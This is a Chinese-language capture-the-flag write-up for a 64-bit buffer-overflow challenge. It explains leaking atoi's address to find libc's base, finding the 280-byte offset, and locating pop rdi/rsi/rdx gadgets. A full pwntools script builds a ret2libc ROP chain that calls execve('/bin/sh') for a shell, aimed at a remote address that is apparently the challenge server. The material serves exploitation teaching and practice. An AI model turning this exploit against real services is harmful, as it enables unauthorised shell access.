環境:kali,python3
程序沒有開啟隨機化
沒有canary保護
啟動了NX
IDA:
運行程序,先輸入1200,然后給出函數地址,再次輸入內容。
思路:
函數地址在IDA反匯編可以看出來,是atoi函數的地址,是got表中的地址。也就是函數運行過程中,在內存中atoi的函數地址。
看代碼可以看出read這里有洞。可以利用緩沖區溢出覆蓋返回地址。
(32位的緩沖區溢出可以參考一下https://www.cnblogs.com/gudygudy/p/8093921.html,里面的棧結構中函數的參數傳遞方式變化了,可以暫時忽略返回地址上的參數區)
需要注意的是,64位的函數調用參數前6個是放在寄存器的,分別是rdi,rsi,rdx,rcx等。這里面最多用前三個。
題目還給出了libc庫,據此可以定位libc在程序運行時加載到內存中時的基址。
有基址后想調用什么函數都可以偏移過去。調用system("/bin/sh")就拿到shell了。這個題目用system服務器沒成功,,本地成功了;用execve("/bin/sh",0,null)兩邊都可以成功。
首先確定需要放多少個填充才能到返回地址。
使用kali自帶的工具生成長度290的填充字符,gdb打開程序,輸入該字符串。
發生段錯誤
查看rsp的值,rsp這時候放的就是返回地址,但是這個地址是有誤的所以報錯。
利用kali中工具查詢這個串偏移量。
結果是280。
填充塊大小知道了,返回地址可以通過libc偏移計算,參數傳遞如何實現?
32位機直接在棧上覆蓋,64位需要借助匯編語句實現參數傳遞。這幾條匯編語句稱為gadget。是在程序中尋找的合適的,也可以在libc庫中找。
libc中匯編代碼豐富些,所以我在libc中找的。所以利用時還要記得加上計算的libc基址。
查匯編指令使用的是ROPgadget
如圖,分別找到
pop rdx;ret
pop rsi;ret
pop rdi;ret
對應的地址。
1 #pwn1 求解 2 from pwn import * 3 4 context.log_level = "debug" 5 context.arch = "i386" 6 context.terminal = ["tmux","splitw","-h"] 7 8 def debug(): #該方法會在程序未結束時打開gdb對程序進行調試,在debug后就進入了交互模式 9 pwnlib.gdb.attach(p) 10 pause() 11 12 p = process("./pwn1") 13 p = remote('124.16.75.117',51005) 14 libc = ELF("./libc.so.6") 15 #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 16 17 offset = 280 18 p.send('1200') 19 20 recvw = p.recv(31).decode() 21 recvw = recvw[-13:-1] 22 recvw = '0x' + recvw 23 24 atoi_addr = (eval(recvw)) 25 print("atoi addr:" + hex(atoi_addr)) 26 27 libc_base_addr = atoi_addr - libc.symbols["atoi"] 28 29 execve_addr = libc.symbols["execve"] + libc_base_addr 30 binsh_addr = next(libc.search("/bin/sh".encode())) + libc_base_addr 31 32 pop_rdi_ret_addr = 0x215bf + libc_base_addr 33 pop_rsi_ret_addr = 0x23eea + libc_base_addr 34 pop_rdx_ret_addr = 0x1b96 + libc_base_addr 35 36 payload = 'a' * offset 37 #debug()
下面這條語句依次:填充,調用pop rdi;ret把第一個參數binsh_addr放到寄存器rdi中,第二個參數放到rsi中,第三個參數放到rdx中,調用execve函數
38 payload = flat([payload,p64(pop_rdi_ret_addr),p64(binsh_addr),p64(pop_rsi_ret_addr),"\x00"*8,p64(pop_rdx_ret_addr),"\x00"*8,p64(execve_addr)]) 39 40 p.sendline(payload) 41 42 p.interactive()